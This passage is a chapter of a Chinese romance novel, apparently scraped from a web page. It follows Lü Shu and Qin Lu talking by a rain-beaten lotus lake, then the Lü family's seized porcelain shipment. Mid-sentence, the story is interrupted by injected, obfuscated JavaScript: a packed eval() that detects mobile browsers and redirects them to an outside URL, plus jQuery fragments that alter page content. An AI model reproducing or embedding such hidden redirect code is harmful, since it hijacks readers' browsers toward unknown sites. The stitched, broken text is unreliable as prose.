一场呼之欲出的雨直到第二日夜里才落了下来。
这夜的风雨可怖,就是听风守在吕姝房里,也听得心惊胆战,一点儿也睡不着。
吕姝虽被声音吵醒,却浑然不怕。这是她的胜利,她反而感到高兴。
在她听来,这不过是仙使抚琴时重重弹了一指,比二叔的嘴脸可亲和多了。
横竖睡不着觉,索性起来伏在案上作诗,等文思耗尽,她才睡去。
晨起时,雨还未停。
经过一夜的雨,暑热终于下去了一些。窗外的南风吹进来,还觉得如秋风一般凉爽。
听风怕吕姝心情郁闷,知道她爱看荷花,早膳过后便推她到北屋靠湖的绛纱窗底下坐下。
谁知从北窗里看去,湖边水榭旁的荷花经一夜雨打花瓣七零八落,歪七扭八,一片败相。
就是此刻片雨斜风之下,小片荷叶被吹得倒进湖里,大片大片的绿叶被捏得如薄薄的饺子皮一般,难看极了,也令人难堪极了。
“要不还是不看了。”听风尴尬地说了,要把窗户关起来。
吕姝却说:“就在这儿看。”
她让听风不用照看她,留她自己一个人在这里,于是听风便做事去了。
雨水自瓦当上垂垂落下,坠入湖面,如鸣佩环。
湿润的水汽形成一层雨幕,遮盖了原本淡远的荷香,只有清风吹来,仍可闻见一点儿香气。
荷载着雨水的荷叶边上,竖着一根根细长的茎,茎上只剩孤零零的淡黄花托,结成了小小的莲蓬。
吕姝没想到只一夜荷花就败了,要是没有那擎雨盖,怕是一点浓淡颜色也要瞧不见了。
她神情呆呆的,像是有什么东西从她身边抽离走了一般。雨丝飘进屋内,打湿了她的裙摆也不管。
只是低语:“中通外直,不蔓不枝。应当也有傲骨才是……”
不知坐了多久,身后也传来一阵子脚步声来。吕姝以为是听风进来了,她正好渴了,就扭过身子,要喊住她。
谁知这么一转,却撞到了这人的腰里。一受力,她一个不稳,手也慌乱地随手在空中抓了一下,三下两下地扯住了那人的束带,吕姝便知道对面是个男人了。
她一抬头,却见是秦禄,而自己两只手宛若她主动抱紧了秦禄似的。
方才秦禄知道她快要摔倒,也上前去扶她的手,忽而被她紧紧抱住,脸红了一团,双手只是悬在空中,一动也不敢动,像是一块只供吕姝挑拣的肉,静静地等待着吕姝发落。
对上秦禄的眼睛,吕姝琼瑶玉面的脸上一下如盛开的芙蓉之态,粉嫩起来。她十分不好意思,宫眸柳眉皱在一块,为难地闭上了眼睛,低着头埋在他腰肩不敢再看人。
想到方才慌乱间摸到秦禄腰腹的精壮紧张实的肌肉,把十根手指像是抓到什么吓人的东西一样砰地弹开。
他平日里没少练武……看起不像这么结实……他这衣服实在松垮……唉!快别想了!
吕姝拼命想把那些不合时宜的想法从脑子去掉。
“小姐渴不渴……”听风端茶进来。
看见两人抱在一起,忙低着头笑着转身出去。
吕姝吓得回过神来松开手,从秦禄腰间起开,叫住听风:“哎,我……我渴了!”
听风把盘子往桌上一放,笑得比向阳花还要甜:“姑爷在这儿,不怕渴。”说罢出去了。
秦禄干咳了两声,看见吕姝觉得不好意思,只好装作什么事都没发生似的。
笑着说:“你屋里的丫头说话真个大胆。”
说完就去端来茶来,给吕姝喝。
吕姝这时才有机会正眼抬头看他。只见今日秦禄一袭石青道袍,负手而立。目若点漆,眉若羽剑,风采照人,瞧着像松柏一般。
看见秦禄走过来,眼里有些探索之意,吕姝背过身去。
“你享受么?”吕姝只是看着前方雨中的荷花,淡淡地问。
这话比方才的还要大胆,把秦禄问得一下哑口无言,怀疑自己听错了话——吕姝不像会口吐狂言之人呐。
他咳了一声,清了清嗓子,支支吾吾:“嗯,想……瘦?我没听清。你是问我,我想瘦吗?不论怎么看,我也没你哥那样有福气吧。”
吕姝细眉蹙起,看他道:“想瘦你支吾什么。就是你心里想的那个意思。”
秦禄如临大敌一般,眼睛不停地眨着。她,她,她……她问这样的话!
她真的疯了?
他把手里伸出去给吕姝的茶自己一口气喝了,于是吕姝刚准备要接的手,落了个空。她抿着的左边的嘴角,有些不乐意。
秦禄站在原地,眼睛也不敢看吕姝。不是左顾右盼,便是低头看着地板。他一只脚撑着身体,一只脚的脚尖忸怩地在地板上打转,像是一个站得笔直的圆规。
“愣着干嘛,问你话呢。”
秦禄下意识摇头,“不……”
紧接着便感觉吕姝眼睛散发着危险的气息。他又忙点头,不说话,只是“嗯”了一声。
“嗯是什么意思?”
“嗯就是嗯。”
“我要听你的心里话。”
“嗯……”
“那你说啊。”
“嗯?”
吕姝奇怪地看着他:“有这么难么?”
秦禄说:“我给你倒杯茶来。”他后退几步,逃走一般。背过身去时,心里忍不住地松了一口气。
他要是说了真话,那也太唐突了。
心想又想:合着她屋里的丫头,都是学她。
谁知等他端着茶来,吕姝叹了一口气,眼睛只是盯着面前的荷花,忧郁地说:“我告诉你,我想什么。”
秦禄这才明白,她原来是问他在想什么……
他暗骂自己心思龌龊,手不停地拍着胸脯,好在没把心里话说出来,不然他再也没脸来小荷轩了。
只见吕姝眉间不得舒展,面若愁云,眼睛里毫无昨日那样的光彩。
“这湖里荷花虽多,瞧着亭亭净植,皎洁无暇,可雨一来,就如点点星子,了无踪迹了。托生在这宅院安稳一生,所以比不得生在江海的浮萍自由。也许风雨来了,得以离开满是污浊之的地方,它反倒欢喜起来。终不会落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122334|180050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得连自己也厌恶起自己来的下场。”
他斟酌道:“人尚有不能平安度过的风雨的,何况草木。”
秦禄知道吕姝是个多思之人,聪慧的女子向来烦恼也多,听她方才之话,话语中颇有厌倦之意,故而劝解道:“其实天南海北都有荷花,它虽自己不能走,可天上的鸟雀衔了种子不知投在哪片水里,它就又能长在别处了。可见结莲蓬只是它走出这里的办法,它是个有心的,也是有骨气的。”
随后,他指着湖边一处说:“越小的花骨朵越是傲。你瞧瞧那荷叶底下,是不是立着一个小花苞啊?”
吕姝顺着他指的方向,果真见一小小花苞单单立在雨中,既无荷叶遮盖,也无繁花遮挡。
它孤直地立在碧波中,任凭东西南北风,轻重缓急雨。
秦禄缓缓说:“你就像它,一身傲骨。”
听见他这样说自己,吕姝抬眸看了一下他,想从脸上找出一丝恭维,却没有任何痕迹。
她在他眼里只看见了真挚。
吕姝垂眉,谦虚说:“我不曾有你傲气。”
秦禄一听,笑了起来。
“你说我傲,在你面前,我一点儿也傲不起来。”
他边说边自叹不如地摇头,轻笑说:“若我有一些轻狂,你昨日就有十分。我自认也是个好闯祸的,没想到你比我更厉害十倍。”
“是么?那你该好好说话才是。”吕姝面颊生笑,面上流露出一丝娇俏:“往后都不该惹我了。”
“自是如此。小生岂敢惹姑奶奶?”说罢,拱起手来,敬她两下。
吕姝见如此,原本忧郁的心情一扫而空,捂着帕子忍不住地笑了好半日。
秦禄见她笑自己也跟着笑,随后自己找了把椅子在吕姝身边坐下,陪着她说了一上午的话。
中途吕犀派人来喊他去揽春楼听曲,他也不去。过了一会儿又说要去打铁铺和武器行里看宝刀,又推辞了不去,惹得吕犀频频抱怨。
吕犀便自己带了随从,打着伞往揽春楼里去了。正出大门,撞见吕璋面色铁青,着急忙慌地往对面府里去了。
他看不惯地哼了一声:“整日就是去那府里,干脆住那儿得了。”
好在说话小声,又下着细雨,吕璋倒是没听见。
他脚上加快了步子,仿佛郡王府有救命的丹药一般。不多时,这个矮小人影就消失在了郡王府中。
原来这日一早,吕璋手底下就有一个管事的来报,说是两艘运转着瓷器的船在下关被扣住了。
吕家一开始在未城有两座民窑,一座叫耒窑,一座叫浏窑,两座中尤其以耒窑烧制的一种孔雀绿釉瓷出名。
这种孔雀绿浅如碧澜,观之宛若黎明破晓时不曾被半点霞光沾染的碧空,靠近时便能感觉到寂静如海般的平和之气。
自和郡王府成了亲家之后,吕家生意越做越大,后来这两座窑被点为官窑,所有孔雀绿釉并龙凤纹样式的瓷器,瓶、盏、碗、盖各形制均要上供给朝廷。
一家人满心欢喜以为这是好事,其实祸福相依,紧接着没多久就为这短暂的高兴后起悔来。